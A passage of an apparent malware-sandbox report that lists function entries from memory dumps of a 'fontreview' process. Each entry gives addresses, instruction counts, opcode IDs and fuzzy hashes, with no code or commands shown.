Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739262b95363f46a89acdcb3e445a615173d4a1b033f0afd5e467bf0277d2947
Instruction ID: a149f400cf74933757bc02abf9b28bb5b77ab0282e6ceee3a11969a538222366
Opcode Fuzzy Hash: 739262b95363f46a89acdcb3e445a615173d4a1b033f0afd5e467bf0277d2947
Instruction Fuzzy Hash: 263107B0E1C91D8EEB94FFA8D955AACBBB2FF59300F509129D10DD3292DE2468418B40

Function 00007FFB4B25E812 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afeae68815939d74aec7466a2c77f5afa5123592362612a7281dc2c0beabca87
Instruction ID: ea4f7dffc53052fbdde43178d090513414d9eb00d0f7dc2b50c0ba25ec180b43
Opcode Fuzzy Hash: afeae68815939d74aec7466a2c77f5afa5123592362612a7281dc2c0beabca87
Instruction Fuzzy Hash: FA31FCB1D189198FDBA8EF28CC59BA9B7B1FB58301F5041E9D44DE3292DE346D828F41

Function 00007FFB4B25BFF0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdbb20aa29b19ba6777674659e369c6cb9cff9784ade2a19f1ee6efa44574ced
Instruction ID: f3759c3a27eb774dd87a52842d8cafbe1343ccf6a5cf25d2bb521ec0b9507755
Opcode Fuzzy Hash: cdbb20aa29b19ba6777674659e369c6cb9cff9784ade2a19f1ee6efa44574ced
Instruction Fuzzy Hash: 5F21E8B1E1C91D8FEB94FFA8D855AACBBF2FF59300F50512AD10DE3296DE2468418B40

Function 00007FFB4B2662CB Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970bb76afebe75c01e02f60de890c6f0395a5f615a68981e05aec13d9c417499
Instruction ID: 1bf8234c4670d0fcfd7fccbc662d011fcb2ab5b0a41fecbf5e34e6372e22d3a6
Opcode Fuzzy Hash: 970bb76afebe75c01e02f60de890c6f0395a5f615a68981e05aec13d9c417499
Instruction Fuzzy Hash: CF31A6B0D1851A8FDBA9EF58C9956ECBBB1FB58301F5040BED50DE62A1DA346A81CF00

Function 00007FFB4B250805 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18763549a5b068e69b2695b80eee3b7f939b17ada4d88e23c7e8442914df60ec
Instruction ID: 76bb8dabe20e9a699a14c50c8336e3bc4cdd11594f97cf6f08b0cbca84df55ae
Opcode Fuzzy Hash: 18763549a5b068e69b2695b80eee3b7f939b17ada4d88e23c7e8442914df60ec
Instruction Fuzzy Hash: 942176D2A0DA8397E3113EBCDD6E9EA3F90EF11324B0885B7E588C5093ED04A01AC2C0

Function 00007FFB4B25AC7D Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4099e9f5b757bd87108d0c61c88fe4f9a743627ba1c65d6518856e1f6de48963
Instruction ID: 00412cbaa343f675a422bec873cfbb1ef9d91a5207ad9c0863239567dcb7c646
Opcode Fuzzy Hash: 4099e9f5b757bd87108d0c61c88fe4f9a743627ba1c65d6518856e1f6de48963
Instruction Fuzzy Hash: D421D0B190E94AAFF742BF78C95AAF97FE0FF16311F0485B6D559C20A2EE3464068240

Function 00007FFB4B250EFD Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d3d49dd4947c63556ead496fd8f7a57c726099195ca550633e5374646d98fc3
Instruction ID: 1147b1fc3079849fc5aa1a7a12fec4fb4dc1a0e45ea8c9033b37a053c3884348
Opcode Fuzzy Hash: 1d3d49dd4947c63556ead496fd8f7a57c726099195ca550633e5374646d98fc3
Instruction Fuzzy Hash: 31311AB1D0861E8AEB54FFB4CD55FBEBBA1EF44300F108175D109A72A5CE38A985CB80

Function 00007FFB4B25A2F1 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc39a6a977e5b5075c9393575e56d9b9dfd1537a6a0c011e1280fa6b79fa094
Instruction ID: 48969cef983c19f48b7b8eb6a9dfa33d8b99975b1230f0ae25c07f05a9575af4
Opcode Fuzzy Hash: 3bc39a6a977e5b5075c9393575e56d9b9dfd1537a6a0c011e1280fa6b79fa094
Instruction Fuzzy Hash: D6214F7091964D9FDB85EF28C49AAA93BE0FF59305F0541AAE809D7161DB34A441CB81

Function 00007FFB4B2533D0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba6cc0db520dfe5fa495e508ae3305212839afa8b1b7ea22611e08b29944b51
Instruction ID: d433ced292b78c0abd9876c6bcdbaac5bed7e4b3c5ddea41567ea0d571b45a79
Opcode Fuzzy Hash: bba6cc0db520dfe5fa495e508ae3305212839afa8b1b7ea22611e08b29944b51
Instruction Fuzzy Hash: 75217C7084D68A8FD743BF74C858AA67FF4EF06310F4545F6D05ACB0A2DA38A845C721

Function 00007FFB4B250A01 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a11f13da501cbf24b4731a48d4a7245995b12f42b2ba433d1dd1b945b1e22756
Instruction ID: 3583357beb8169b20c95b93b96b99957537874a335c95ec14166555ed35875b7
Opcode Fuzzy Hash: a11f13da501cbf24b4731a48d4a7245995b12f42b2ba433d1dd1b945b1e22756
Instruction Fuzzy Hash: 87116DB091994E8FE781FF78C8495FE7BE1FF58310F4086B6D609C61A2EE38A9458740

Function 00007FFB4B262201 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf9554d3b6e1a3b3b44cbbe56944c84bad6b587a47f25f2f6007dffe739c1e5
Instruction ID: 2c67a5e5a31e178db489a13cd290c203de347d7c07c6a23d7d6367345af14216
Opcode Fuzzy Hash: 9cf9554d3b6e1a3b3b44cbbe56944c84bad6b587a47f25f2f6007dffe739c1e5
Instruction Fuzzy Hash: FC117CB091C6498BDF49EF28C4966E93FA1FF69304F1142AEE84A83291DA35A440CB80

Function 00007FFB4B266A31 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539adc86210d367a44fbc2bbe8ef4e6efd8b3800b887170833f37fda5b7f3199
Instruction ID: 96432fc01dd5303e24e32df6bcc128611b66038175f4bfbf8ddb87c5bf2538f7
Opcode Fuzzy Hash: 539adc86210d367a44fbc2bbe8ef4e6efd8b3800b887170833f37fda5b7f3199
Instruction Fuzzy Hash: 00115E7090864E9FEB9AFF78C4592FA7FA1FF58301F1085BED409C65A2DA35A940C741

Function 00007FFB4B262EA5 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2f0632c01b01d281250b1499b6b30cc19017d0baed47766533166a5f3ec49c8
Instruction ID: 083ede430ad699ca324075f98681d8c84da07246e66ca088150abf3fda2b9dc4
Opcode Fuzzy Hash: a2f0632c01b01d281250b1499b6b30cc19017d0baed47766533166a5f3ec49c8
Instruction Fuzzy Hash: 1611BBB190DA4E8FEB41FF78C9192E9BBF1FF59300F0084BAD508D31A2DA28A4448781

Function 00007FFB4B26240B Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c93b0d82e1e8dbe3c9dd853e981114973e1b43334ed4493efb266671d342ce65
Instruction ID: 202f236e92553994cd8ad906e8516366d98e537c30a98a6267a8226c58c9a4e7
Opcode Fuzzy Hash: c93b0d82e1e8dbe3c9dd853e981114973e1b43334ed4493efb266671d342ce65
Instruction Fuzzy Hash: A2118EB084D68A8FEB4ABF34D8692A97FB0EF16310F1544FFD449CA0E3DA695541C711

Function 00007FFB4B266AD5 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e773fc4edb55c6637550cb5015a11d3114f9f469ed1ce4988f82c991f66f4259
Instruction ID: 61ead1b19ff604489b4cbd523971fc2d27432ebc01ecf1d4e1f79b175f018f58
Opcode Fuzzy Hash: e773fc4edb55c6637550cb5015a11d3114f9f469ed1ce4988f82c991f66f4259
Instruction Fuzzy Hash: 96118CB0908A4E8FEB99FF78C45A2FA7BA0FF58301F0081BED409D25A5DA34A540C780

Function 00007FFB4B264469 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6b5e4ec5d7fe2002c7f3d83bcb1583b8180a0f7a8d923fc7dd58059ef2bd6cb
Instruction ID: 364f014f65b1a9957d894678d089f079d369d5f17ce0e5d6182a817c2a42a0a1
Opcode Fuzzy Hash: d6b5e4ec5d7fe2002c7f3d83bcb1583b8180a0f7a8d923fc7dd58059ef2bd6cb
Instruction Fuzzy Hash: 91219F7080DA4A8FEB49FF38C46A2BA7FA0FF59301F0041BFD459C61A2DA399440C750

Function 00007FFB4B264505 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f42c4ef0fcd0b877fb81b5e7ef8daf1e78c65303ce36855171052b2a3a63ad79
Instruction ID: 9f59f12d3511091328500ac226c8af9811cc3084cc52c726c63317e4b37156c5
Opcode Fuzzy Hash: f42c4ef0fcd0b877fb81b5e7ef8daf1e78c65303ce36855171052b2a3a63ad79
Instruction Fuzzy Hash: DF1189B180DA4E8FEB99FF3CC4592B97EA1FF68300F0045BED559C21A2DA35A580C740

Function 00007FFB4B2649A5 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bdb6b189f5d62661c6735a333162e229e9ec2f1ef18358e3491089046ac5750
Instruction ID: f1bfcbf85ef8379e06e18a02cbb40e869b5473faaa8246e4fdfff6ec9c0bc505
Opcode Fuzzy Hash: 7bdb6b189f5d62661c6735a333162e229e9ec2f1ef18358e3491089046ac5750
Instruction Fuzzy Hash: 781126B180DE498BE789EE78C8A52B97ED0FF14300F0441FEC05AC24A2CA246841C601

Function 00007FFB4B266B75 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3490374b9d3bfeb036a804f03b5ad20b5abe455f7c31b32d5a5c207f1a6b62
Instruction ID: f23192f584a6a61ce9ad2b7b9a873ad3579676284585bdde26e7c6c5d8e11a74
Opcode Fuzzy Hash: 7f3490374b9d3bfeb036a804f03b5ad20b5abe455f7c31b32d5a5c207f1a6b62
Instruction Fuzzy Hash: F21100B180DA49CBEB9ABFB8C8A62F97EE1FF04300F0440BED409D24A6DA255504C341

Function 00007FFB4B25112D Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f558c332236675561ab3356d2d5e9c2041e0463661809e8c1bf8d045c0c9a82
Instruction ID: 2142e6fc82cc3fc2f9d9196192cfdfa37fc8eb71420cfa6c0db7448f30936acb
Opcode Fuzzy Hash: 6f558c332236675561ab3356d2d5e9c2041e0463661809e8c1bf8d045c0c9a82
Instruction Fuzzy Hash: 8A11D3B080C64E8FEB59BF78C8586B97FE0EF55315F0081FED409D60E2DA255450C700

Function 00007FFB4B25C6F0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b15222aa5f28368e4dbc4c223c96e7036af8348f7d358d1a6bd0e6149c9da85
Instruction ID: a71d3fda14b537125f1105a483711a8749569a050ca21904856c342da5e4dc89
Opcode Fuzzy Hash: 9b15222aa5f28368e4dbc4c223c96e7036af8348f7d358d1a6bd0e6149c9da85
Instruction Fuzzy Hash: F7116DB080DA8E8FEB46BF34C8596B97FF4FF19300F0045BAD519C60A2EA786940CB50

Function 00007FFB4B264D19 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7106ca125e140e92ab9abb31740a199621a0069a0d1b983db0cdb3d9019573c0
Instruction ID: 92b84a9375159b7f10b114187015899035a26f56dcaa5a8b18222c13dc15d3c9
Opcode Fuzzy Hash: 7106ca125e140e92ab9abb31740a199621a0069a0d1b983db0cdb3d9019573c0
Instruction Fuzzy Hash: C4116AB0C0DA8A8FEB5AFF78C8592BA7FA0FF19300F0145BED459C65A2DA3598448751

Function 00007FFB4B267161 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c20def3205d24497090a21046f106463e6c09a3a33c6bfef8cf486fafbd2eb03
Instruction ID: e43da869bc0bc8e9c49d4565b47d38407db6949e6f3dc6fa42d420cd1972f7b4
Opcode Fuzzy Hash: c20def3205d24497090a21046f106463e6c09a3a33c6bfef8cf486fafbd2eb03
Instruction Fuzzy Hash: DD113CB180D55A8FE751FFB8D9486AA7FE4FF19301F0045FAD818C60B5EA38A1818760

Function 00007FFB4B266C0D Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5e1dc32f3aba522e17cbb0db84e8cba7e9d3c650b4bb1d5479a0bf45646be21
Instruction ID: c47b035c2c21b57f9d08405fae3ad155f3333bd438f20ede2bc0348a5e0a040f
Opcode Fuzzy Hash: b5e1dc32f3aba522e17cbb0db84e8cba7e9d3c650b4bb1d5479a0bf45646be21
Instruction Fuzzy Hash: 331190B090CA4E8FEB99FF28C4592F97FA1EF59310F4082BED409C25A2EA2565558740

Function 00007FFB4B2625F1 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2f2dfecc7454ac1c3315d44f81aca174bc8c56c4a044ff6c1e4fdf905fb1aef
Instruction ID: 4429c145745e6b0dd0fc38af5d3e4b42b6a528e89973285e55523fcc8ce627e3
Opcode Fuzzy Hash: a2f2dfecc7454ac1c3315d44f81aca174bc8c56c4a044ff6c1e4fdf905fb1aef
Instruction Fuzzy Hash: CC116D7085C65A8FEB42BF78C94D6FA7FE8EF1A300F0185B6E418C7066EA34A5458751

Function 00007FFB4B253561 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ec0e4d80c381d3368c5aa73ee8f2e0ba7fbb5edf8f527989f97d7b9edc140f1
Instruction ID: 41d717b5b50bfeae18b2d6c4ec4edb5954b547de4ef01131901be73a582a0f0c
Opcode Fuzzy Hash: 2ec0e4d80c381d3368c5aa73ee8f2e0ba7fbb5edf8f527989f97d7b9edc140f1
Instruction Fuzzy Hash: 591179B081864E8FEB95FF34C859ABE7BA0FF18300F8064BAD51AC25A1EA35A4448700

Function 00007FFB4B264ACD Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd3839136a798747cb4e5b16d368118d0451f624950c47856287f26aae8c4e42
Instruction ID: 5c484dcfaafef5633f3f37d636538fbe8eb5bd2b486f407ad9930c13372ac1ed
Opcode Fuzzy Hash: fd3839136a798747cb4e5b16d368118d0451f624950c47856287f26aae8c4e42
Instruction Fuzzy Hash: 96119DB0D0CA4A8FEB49FF38C8592BA7BA0FF18304F0444BED459C25A6DE34A440C751

Function 00007FFB4B265DB9 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03094a9aa893afabd5539febe63f616540ee365cf7db0860d45c061b0178f397
Instruction ID: 3c90304f22c89c9f07a13ee62d30a93f028a49e4c1e69235a3460c9aed1f2310
Opcode Fuzzy Hash: 03094a9aa893afabd5539febe63f616540ee365cf7db0860d45c061b0178f397
Instruction Fuzzy Hash: 0E118FB190D68E8FEB92FF38C8592A97FE0FF29300F0444FAD408C70A6EA34A5448741

Function 00007FFB4B264C8D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63362d826a06debff46e4d763f82f9da6182d97adddc9843538bf0e714982ef6
Instruction ID: 44256ae77975c52cafe0102ee24561bcba2b247cab8379641bb2046e0690a1b4
Opcode Fuzzy Hash: 63362d826a06debff46e4d763f82f9da6182d97adddc9843538bf0e714982ef6
Instruction Fuzzy Hash: 9911907090D94A8FEB45FF38C8192B97AE1FF14300F0045BED859C61A2EA346540C741

Function 00007FFB4B25BE49 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03332ee7840cde049e046b52bdc224a8efbbf46146b0ba59bc2784e879f4d372
Instruction ID: 6dbefe8e0e6799ea52b54afe1ead5ac376cfefe59758f7832b0e56581c0126a3
Opcode Fuzzy Hash: 03332ee7840cde049e046b52bdc224a8efbbf46146b0ba59bc2784e879f4d372
Instruction Fuzzy Hash: B6119A7080DA8D8FEB55FF34C85D6B97FB1FF1A300F4444AAD909C61A2DA35A591C700

Function 00007FFB4B267991 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63a4a794caeabeda4ca34874aa38e21474f2e17d6b6a7d1c808b7643e20e14cf
Instruction ID: 6e3420c95ab9b8707c18ec3ff4a8d1dfb495560176d2f1fb5762bca167953594
Opcode Fuzzy Hash: 63a4a794caeabeda4ca34874aa38e21474f2e17d6b6a7d1c808b7643e20e14cf
Instruction Fuzzy Hash: 7401927084E64A8FEB49FF38C4596B97FE0FF09300F0144BED809C61A2EA39A540C741

Function 00007FFB4B252EC1 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a7172740f017383e22d476c5899b814b9b263eef34345630e02b2d21ec729c
Instruction ID: 9f87745ae02db95223b70c6181c4dfa9edcdd558335d1897a7f644b677ab7da3
Opcode Fuzzy Hash: e0a7172740f017383e22d476c5899b814b9b263eef34345630e02b2d21ec729c
Instruction Fuzzy Hash: F9017CB091D64E8FEB51FF34C9496B97FE4FF19301F0588B6D908C60A2EA38E4848751

Function 00007FFB4B25B9FA Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B25A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B25A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b25a000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f117afdec50d4f55b6f0fca2f7fabd30b2550d007187ffb4f52498b177e31af
Instruction ID: 9894a159efc3ef92036c88c85123b9fcce09a867262d469a79534740a3f04078
Opcode Fuzzy Hash: 5f117afdec50d4f55b6f0fca2f7fabd30b2550d007187ffb4f52498b177e31af
Instruction Fuzzy Hash: 0D018CB0C1890E8FEB94FF78C85D6F97AE0FF18300F1045BAD81AC21A1DA31A150C740

Function 00007FFB4B262095 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6658f321a4eecfb58ea79786f8f96e22a455d0f43312c4e87212b6d00d208362
Instruction ID: fa9a41001e45b9116334390c33352bf423b1ef767b71cd54cb2a183626b056f2
Opcode Fuzzy Hash: 6658f321a4eecfb58ea79786f8f96e22a455d0f43312c4e87212b6d00d208362
Instruction Fuzzy Hash: F7019E70D4E6498FEB59FF38C8592B97FA0FF19310F0148BED909C64A2DA25A540C740

Function 00007FFB4B25289D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b250000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6413aae1062978c8b73d0b7b1a409619595e61af26d9aae5c4282c9b2963a795
Instruction ID: 1b5918b620987255eb2eca4e50863cdfc4b4339db64713b1f17d14333c0b5cec
Opcode Fuzzy Hash: 6413aae1062978c8b73d0b7b1a409619595e61af26d9aae5c4282c9b2963a795
Instruction Fuzzy Hash: 7F015EB081D64E8FEB51FF74C98CAE97FE4EF59310F4189B6D508C60A6EA28E584C750

Function 00007FFB4B262EC0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2082728690.00007FFB4B261000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffb4b261000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e5f8e7822ffe1b2ec838052d9455fd06e9df45f8c9bfa8b5f85566db06fb956
Instruction ID: d09419fa6cf850b8b1c784f95f01972a6c5a9ff33a0ddcc9ec292581fca73032
Opcode Fuzzy Hash: 1e5f8e7822ffe1b2ec838052d9455fd06e9df45f8c9bfa8b5f85566db06fb956
Instruction Fuzzy Hash: 5001ADB1D0CA0E8AEF51FF78C9112FABAB4FB19310F00453AE50DE2181DE28A4448691

Function 00007FFB4B2678B9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

